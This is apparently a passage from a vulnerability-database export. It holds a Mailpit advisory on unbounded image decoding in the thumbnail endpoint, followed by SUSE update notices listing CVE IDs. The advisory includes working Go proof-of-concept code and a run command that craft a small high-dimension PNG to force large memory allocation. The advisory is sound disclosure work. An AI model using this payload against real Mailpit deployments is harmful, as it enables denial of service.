attacker-supplied image attachments into a full raster before checking any decoded-pixel, dimension, or memory budget. A remote client that can store an email and reach the default web API can supply a compact high-dimension image, then request `/api/v1/message/{id}/part/{partID}/thumb` to force server-side memory and CPU work far larger than the encoded attachment size before Mailpit returns a 180x120 thumbnail.\n\n## Technical Details\n\nThe route is registered as `GET /api/v1/message/{id}/part/{partID}/thumb` in `server/server.go`. The handler in `server/apiv1/thumbnails.go` loads the requested attachment and accepts any part whose content type begins with `image/`:\n\n```go\na, err := storage.GetAttachmentPart(id, partID)\n// ...\nif !strings.HasPrefix(a.ContentType, \"image/\") {\n    blankImage(a, w)\n    return\n}\n\nbuf := bytes.NewBuffer(a.Content)\nimg, err := imaging.Decode(buf, imaging.AutoOrientation(true))\n```\n\n`storage.GetAttachmentPart()` reparses the stored raw email and returns the matching attacker-supplied attachment bytes. `Thumbnail()` then calls `imaging.Decode()` before any check on declared dimensions or estimated decoded bytes. The subsequent `imaging.Fill(img, 180, 120, ...)`, `imaging.Clone()`, and JPEG encode only happen after the full image has already been decoded.\n\nThe thumbnail output is fixed at 180x120, so the endpoint does not need to decode arbitrarily large rasters. The current implementation lets a small compressed PNG declare large dimensions and expand to tens or hundreds of MiB of decoded pixels before scaling. The default message-size controls do not stop this class: they bound encoded message/attachment bytes, while this issue is encoded-size to decoded-raster amplification after storage.\n\nThe UI also naturally reaches this endpoint for image attachments. `server/ui-src/components/message/MessageAttachments.vue` uses `/api/v1/message/{message.ID}/part/{part.PartID}/thumb` as the `\u003cimg src\u003e` for image attachments, so opening an affected message in the web UI can trigger the decode path. A client with API access can also call the endpoint directly.\n\n## PoV\n\nThe following test creates a valid all-zero RGBA PNG by streaming compressed scanlines, so the generator does not need to allocate the full source image. It then exercises both the direct decode/scale operation and the real handler path: store an email with the PNG attachment, resolve the actual `PartID`, and call `Thumbnail()`.\n\nThe oversized case uses a 4096x4096 image. That is intentionally bounded for safe local reproduction, but it is enough to show a 65,301-byte encoded PNG becoming an estimated 67,108,864-byte decoded RGBA raster before thumbnail scaling. The negative control is a 16x16 PNG.\n\n```go\npackage apiv1\n\nimport (\n    \"bytes\"\n    \"compress/zlib\"\n    \"encoding/base64\"\n    \"encoding/binary\"\n    \"fmt\"\n    \"hash/crc32\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"path/filepath\"\n    \"strings\"\n    \"testing\"\n\n    \"github.com/axllent/mailpit/config\"\n    \"github.com/axllent/mailpit/internal/logger\"\n    \"github.com/axllent/mailpit/internal/storage\"\n    \"github.com/kovidgoyal/imaging\"\n)\n\nfunc pngChunk(kind string, data []byte) []byte {\n    var out bytes.Buffer\n    _ = binary.Write(\u0026out, binary.BigEndian, uint32(len(data)))\n    out.WriteString(kind)\n    out.Write(data)\n    crc := crc32.NewIEEE()\n    crc.Write([]byte(kind))\n    crc.Write(data)\n    _ = binary.Write(\u0026out, binary.BigEndian, crc.Sum32())\n    return out.Bytes()\n}\n\nfunc solidRGBApng(width, height int) []byte {\n    var out bytes.Buffer\n    out.Write([]byte{0x89, 'P', 'N', 'G', '\\r', '\\n', 0x1a, '\\n'})\n    ihdr := make([]byte, 13)\n    binary.BigEndian.PutUint32(ihdr[0:4], uint32(width))\n    binary.BigEndian.PutUint32(ihdr[4:8], uint32(height))\n    ihdr[8] = 8\n    ihdr[9] = 6\n    out.Write(pngChunk(\"IHDR\", ihdr))\n    var compressed bytes.Buffer\n    zw := zlib.NewWriter(\u0026compressed)\n    row := make([]byte, 1+width*4)\n    for i := 0; i \u003c height; i++ {\n        _, _ = zw.Write(row)\n    }\n    _ = zw.Close()\n    out.Write(pngChunk(\"IDAT\", compressed.Bytes()))\n    out.Write(pngChunk(\"IEND\", nil))\n    return out.Bytes()\n}\n\nfunc TestThumbnailDecodeDimensionAmplificationPoV(t *testing.T) {\n    for _, tc := range []struct {\n        name   string\n        width  int\n        height int\n    }{\n        {name: \"negative-control\", width: 16, height: 16},\n        {name: \"oversized-attachment\", width: 4096, height: 4096},\n    } {\n        t.Run(tc.name, func(t *testing.T) {\n            payload := solidRGBApng(tc.width, tc.height)\n            img, err := imaging.Decode(bytes.NewReader(payload), imaging.AutoOrientation(true))\n            if err != nil {\n                t.Fatalf(\"decode failed: %v\", err)\n            }\n            thumb := imaging.Fill(img, thumbWidth, thumbHeight, imaging.Center, imaging.Lanczos)\n            if thumb.Bounds().Dx() != thumbWidth || thumb.Bounds().Dy() != thumbHeight {\n                t.Fatalf(\"unexpected thumbnail bounds: %v\", thumb.Bounds())\n            }\n            decodedRGBA := tc.width * tc.height * 4\n            t.Logf(\"%s: encoded_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)))\n        })\n    }\n}\n\nfunc TestThumbnailHandlerDimensionAmplificationPoV(t *testing.T) {\n    logger.NoLogging = true\n    config.Database = filepath.Join(t.TempDir(), \"mailpit.db\")\n    config.Compression = 0\n    config.TenantID = \"\"\n    config.MaxMessages = 0\n    if err := storage.InitDB(); err != nil {\n        t.Fatalf(\"InitDB failed: %v\", err)\n    }\n    defer storage.Close()\n\n    for _, tc := range []struct {\n        name   string\n        width  int\n        height int\n    }{\n        {name: \"negative-control\", width: 16, height: 16},\n        {name: \"oversized-attachment\", width: 4096, height: 4096},\n    } {\n        t.Run(tc.name, func(t *testing.T) {\n            payload := solidRGBApng(tc.width, tc.height)\n            raw := []byte(fmt.Sprintf(\"From: sender@example.test\\r\\nTo: victim@example.test\\r\\nSubject: %s\\r\\nMIME-Version: 1.0\\r\\nContent-Type: multipart/mixed; boundary=\\\"pov-boundary\\\"\\r\\n\\r\\n--pov-boundary\\r\\nContent-Type: text/plain\\r\\n\\r\\nbody\\r\\n--pov-boundary\\r\\nContent-Type: image/png; name=\\\"pov.png\\\"\\r\\nContent-Disposition: attachment; filename=\\\"pov.png\\\"\\r\\nContent-Transfer-Encoding: base64\\r\\n\\r\\n%s\\r\\n--pov-boundary--\\r\\n\", tc.name, wrapBase64(payload)))\n            id, err := storage.Store(\u0026raw, nil)\n            if err != nil {\n                t.Fatalf(\"Store failed: %v\", err)\n            }\n            msg, err := storage.GetMessage(id)\n            if err != nil {\n                t.Fatalf(\"GetMessage failed: %v\", err)\n            }\n            if len(msg.Attachments) != 1 {\n                t.Fatalf(\"attachments=%d, want 1\", len(msg.Attachments))\n            }\n            req := httptest.NewRequest(http.MethodGet, \"/api/v1/message/\"+id+\"/part/\"+msg.Attachments[0].PartID+\"/thumb\", nil)\n            req.SetPathValue(\"id\", id)\n            req.SetPathValue(\"partID\", msg.Attachments[0].PartID)\n            rr := httptest.NewRecorder()\n            Thumbnail(rr, req)\n            if rr.Code != http.StatusOK {\n                t.Fatalf(\"Thumbnail status=%d body=%q\", rr.Code, rr.Body.String())\n            }\n            if ct := rr.Header().Get(\"Content-Type\"); ct != \"image/jpeg\" {\n                t.Fatalf(\"Content-Type=%q, want image/jpeg\", ct)\n            }\n            decodedRGBA := tc.width * tc.height * 4\n            t.Logf(\"%s handler path: stored_png_bytes=%d decoded_rgba_bytes=%d dimensions=%dx%d amplification=%.1fx thumbnail_jpeg_bytes=%d\", tc.name, len(payload), decodedRGBA, tc.width, tc.height, float64(decodedRGBA)/float64(len(payload)), rr.Body.Len())\n        })\n    }\n}\n\nfunc wrapBase64(b []byte) string {\n    encoded := base64.StdEncoding.EncodeToString(b)\n    var lines []string\n    for len(encoded) \u003e 76 {\n        lines = append(lines, encoded[:76])\n        encoded = encoded[76:]\n    }\n    if encoded != \"\" {\n        lines = append(lines, encoded)\n    }\n    return strings.Join(lines, \"\\r\\n\")\n}\n```\n\n## PoC\n\nFrom a Mailpit checkout, save the test above as `server/apiv1/thumbnail_dimension_pov_test.go` and run:\n\n```fish\ndocker run --rm -v \"$PWD:/src\" -w /src golang:1.25 go test ./server/apiv1 -run 'TestThumbnail.*DimensionAmplificationPoV' -v\n```\n\nOn current `develop` commit `cd7661fd5b23cce1e218b583b21e157cfa612051`, the relevant output is:\n\n```text\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.22s)\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.55s)\nPASS\nok  \tgithub.com/axllent/mailpit/server/apiv1\t0.781s\n```\n\nThe same test against `v1.30.3` commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13` prints the same amplification:\n\n```text\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:77: negative-control: encoded_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x\n=== RUN   TestThumbnailDecodeDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:77: oversized-attachment: encoded_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x\n--- PASS: TestThumbnailDecodeDimensionAmplificationPoV (0.23s)\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/negative-control\n    thumbnail_dimension_pov_test.go:130: negative-control handler path: stored_png_bytes=78 decoded_rgba_bytes=1024 dimensions=16x16 amplification=13.1x thumbnail_jpeg_bytes=977\n=== RUN   TestThumbnailHandlerDimensionAmplificationPoV/oversized-attachment\n    thumbnail_dimension_pov_test.go:130: oversized-attachment handler path: stored_png_bytes=65301 decoded_rgba_bytes=67108864 dimensions=4096x4096 amplification=1027.7x thumbnail_jpeg_bytes=977\n--- PASS: TestThumbnailHandlerDimensionAmplificationPoV (0.56s)\nPASS\nok  \tgithub.com/axllent/mailpit/server/apiv1\t0.805s\n```\n\nThe `negative-control` case shows ordinary thumbnail generation still works. The `oversized-attachment` handler case shows the real endpoint path storing a compact image attachment and returning a thumbnail only after decoding a much larger raster.\n\n## Impact\n\nAn unauthenticated remote client can affect availability when Mailpit is deployed with the default unauthenticated HTTP API and SMTP/Send API reachable on the network. The client can store a compact high-dimension image attachment, discover the message and attachment IDs through the API, and repeatedly request the thumbnail endpoint to force decoded image allocation and scaling work. Opening the affected message in the Mailpit UI can also trigger the thumbnail request for image attachments.\n\nThe safe PoV uses 4096x4096 dimensions and already reaches about 64 MiB of decoded RGBA data from a 65 KB PNG. Larger dimensions remain within the default encoded message-size envelope and can raise the decoded memory pressure further. The practical result is memory/CPU pressure and possible process instability or denial of service, especially with concurrent thumbnail requests.\n\n## Suggested Fix\n\nReject oversized thumbnails before full image decode. Decode only the image configuration/header first where possible, compute a conservative decoded-pixel or decoded-byte estimate, and reject dimensions above the thumbnail budget before calling `imaging.Decode()` or applying EXIF auto-orientation. For example, a thumbnail endpoint that only emits 180x120 output could reject images above a fixed pixel cap such as a few megapixels, or make the cap configurable.\n\nApply the cap to all supported image formats and to both inline and regular attachments returned by `GetAttachmentPart()`. Preserve the existing blank-thumbnail fallback for rejected or unsupported inputs, or return a clear 400 response for images rejected because their decoded size exceeds the configured limit. Add regression tests for a normal small image, a high-dimension compressed image, and a malformed `image/*` attachment.\n\n## Affected Package/Versions\n\nConfirmed affected:\n\n- Current `develop`: `cd7661fd5b23cce1e218b583b21e157cfa612051`\n- Latest release: `v1.30.3`, tag commit `6acf5b8f942ab0e007b1227d31dfb3c3303e8d13`, published 2026-06-27\n\n## Advisory History\n\nThe closest published Mailpit advisories are the resource-consumption reports `GHSA-fpxj-m5q8-fphw` and `GHSA-28pq-6qxg-wg5r`. `GHSA-fpxj-m5q8-fphw` covers unlimited SMTP DATA and `/api/v1/send` body sizes, while `GHSA-28pq-6qxg-wg5r` covers unbounded JSON bodies on sibling API endpoints. This report is different: the request body can be small or absent at thumbnail time, and the expensive work is decoded image allocation from a stored attachment before 180x120 thumbnail scaling.\n\nOther published Mailpit advisories checked were `GHSA-w4vj-r5pg-3722` for proxy CSS map concurrency, `GHSA-qx5x-85p8-vg4j` for dump path traversal, `GHSA-54wq-72mp-cq7c` for SMTP header injection, `GHSA-524m-q5m7-79mm` for CSWSH, and the SSRF/proxy/link-check/html-check family `GHSA-8v65-47jx-7mfr`, `GHSA-mpf7-p9x7-96r3`, `GHSA-6jxm-fv7w-rw5j`, `GHSA-j3fj-qppj-fmmc`, and `GHSA-w4mc-hhc6-xp28`. None describe decoded thumbnail image dimensions or pixel-budget enforcement.\n\nPublic issue searches in `axllent/mailpit` for thumbnail/image memory, `imaging Decode thumbnail`, and image attachment thumbnail DoS terms found no matching issue. A commit search found `b9f36312d750bdc59497a08fd9f4039925afd54e`, \"Fix: Avoid error on image type assertion in thumbnail generation\"; that commit fixes a non-NRGBA type assertion/panic case and does not add a decoded-pixel or dimension guard. No prior submitted, ready-for-review, or completed-but-unsubmitted Mailpit report available in the review materials matched this root cause.","status":"published","published":"2026-09-02T23:39:08Z","modified":"2026-09-10T15:25:26.186796035Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-770"],"updated_at":"2026-11-02T15:46:40.657155Z"},{"id":"GO-2026-6359","title":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling in github.com/axllent/mailpit","description":"Mailpit: Thumbnail generation decodes unbounded image dimensions before scaling in github.com/axllent/mailpit","status":"published","published":"2026-09-10T14:48:42Z","modified":"2026-09-10T15:15:12.351295661Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21897-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:36:27Z","modified":"2026-09-25T18:23:11.534555779Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23855-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 